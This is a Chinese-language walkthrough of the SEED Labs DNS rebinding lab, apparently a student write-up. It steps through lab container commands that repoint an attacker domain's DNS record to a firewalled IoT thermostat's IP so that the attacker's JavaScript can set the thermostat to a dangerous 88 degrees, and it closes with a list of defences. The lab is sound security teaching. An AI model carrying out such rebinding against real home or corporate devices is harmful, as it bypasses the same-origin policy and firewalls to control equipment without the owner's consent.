前言
本实验的目的是使用DNS重新绑定攻击来规避沙箱保护,让攻击者的 JavaScript 代码可以成功地从 IoT 获取必要的信息,然后使用这些信息将恒温器的温度设置为危险的高值。 本实验涵盖以下主题:
- DNS服务器设置
- DNS重新绑定攻击
- 对IoT设备的攻击
- 同源策略
我们的攻击目标是防火墙后面的物联网设备。 我们无法从外部直接访问此IoT设备。 我们的目标是让内部用户运行我们的 JavaScript 代码,这样我们就可以使用 DNS 重绑定攻击与物联网设备进行交互。
操作步骤
1.0 前置准备
请预先搭建好 seed-lab 环境再执行下列操作
wget https://seedsecuritylabs.org/Labs_20.04/Files/DNS_Rebinding/Labsetup.zip
unzip Labsetup.zip
cd Labsetup
sudo docker-compose up -d1.1 修改firebox浏览器的DNS缓存时间
在 ubuntu 虚拟机中打开 Firefox 按照下图操作:
about:config
1.2 修改 DNS 服务器
执行下列代码
sudo -i
cat >> /etc/resolvconf/resolv.conf.d/head << EOF
nameserver 10.9.0.53
EOF
sudo resolvconf -u1.3 修改host数据
sudo -i
cat >> /etc/hosts << EOF
192.168.60.80 www.seedIoT32.com
EOF
1.4 测试 docker 页面
http://www.seedIoT32.com
http://www.attacker32.com
2.1 Launch the Attack on the IoT Device
同源策略
同时打开下面三个 URL
URL 1: http://www.seedIoT32.com
URL 2: http://www.seedIoT32.com/change
URL 3: http://www.attacker32.com/change
尝试在各个页面修改温度

可以发现,http://www.attacker32.com/change 无法成功修改
浏览器同源策略,当两个域名的协议、域名、端口三者相同时,即认为两者同源,是浏览器为了确保一个应用中的资源只能被本应用的资源访问而设置的。
本实验中由于 www.attacker32.com/change 与 www.seedIoT32.com 不同源,因此它无法修改恒温器的温度。
2.2 Defeat the Same-Origin Policy Protection
这里简单介绍一下几个容器的作用
- attacker-www-10.9.0.180:攻击页面
- attacker-ns-10.9.0.153: 攻击者所使用的权威域名服务器
- router: 路由器
- local-dns-server-10.9.0.53: 在这组实验环境中用于模拟本地 DNS 服务器
- iot-192.168.60.80: iot 设备的模拟页面
关闭同源策略
# 进入attacker-www-10.9.0.180容器
sudo docker exec -it attacker-www-10.9.0.180 bash
# 使用nano命令修改/app/rebind_server/ templates/js/change.js文件
# 第一行修改为: let url_prefix = 'http://www.attacker32.com'
nano /app/rebind_server/templates/js/change.js
# 修改完成后重启容器
exit
sudo docker restart attacker-www-10.9.0.180 

此时再去点击 http://www.attacker32.com/change 中的 button
通过 console 看到

分析网络请求可知,其还是讲请求发送到 www.seediot32.com 域名下
为了使attacker的请求发往 www.seedIoT32.com,需要修改DNS映射关系,使 www.attacker32.com 映射到 www.seedIoT32.com 的IP地址。
不过在此之前,先打开 http://www.attacker32.com
# 进入attacker-ns-10.9.0.153容器
sudo docker exec -it attacker-ns-10.9.0.153 bash
# 使用nano命令修改 /etc/bind/zone_attacker32.com
nano /etc/bind/zone_attacker32.com
# 将 www IN A 10.9.0.180
# 修改为 www IN A 192.168.60.80
# 刷新 DNS
rndc reload attacker32.com
# 修改完成后退出
exit
# 进入 local-dns-server-10.9.0.53
sudo docker exec -it local-dns-server-10.9.0.53 bash
# 修改 attacker-ns-10.9.0.153 容器中的 DNS
rndc flush
exit
此时 www.attacker32.com 下的change即可修改温度。记得不要刷新页面
2.3 Launch the Attack
由于之前已经打开了 www.attacker32.com 此时等待倒计时归0,即可自动修改温度至88。

原理分析
攻击的基本原理是利用DNS解析过程中的缓存机制和浏览器的同源策略。攻击者首先注册一个恶意域名,并在DNS响应中频繁变换IP地址,使得浏览器无法正确缓存该域名的IP地址。然后,攻击者构造恶意页面,其中包含对受害者本地网络设备的攻击代码。当受害者访问恶意页面时,浏览器会向DNS服务器请求解析域名,由于域名对应的IP地址在攻击者控制下频繁变化,导致浏览器多次发起DNS解析请求。当攻击者控制的IP地址恰好被浏览器缓存时,浏览器就会向攻击者控制的IP地址发送请求,从而实现攻击。
为防止DNS Rebinding Attack,可以采取以下措施:
- 增加DNS解析缓存时间:将DNS解析结果的缓存时间设置得更长,可以减少受到攻击的可能性。
- 检测和阻止恶意域名:使用安全软件或防火墙检测并阻止已知的恶意域名。
- 浏览器增强安全策略:浏览器可以实现对DNS重绑定攻击的防护,如限制跨域请求。
- 网络隔离:将本地网络和外部网络进行隔离,减少攻击者对本地网络的直接访问。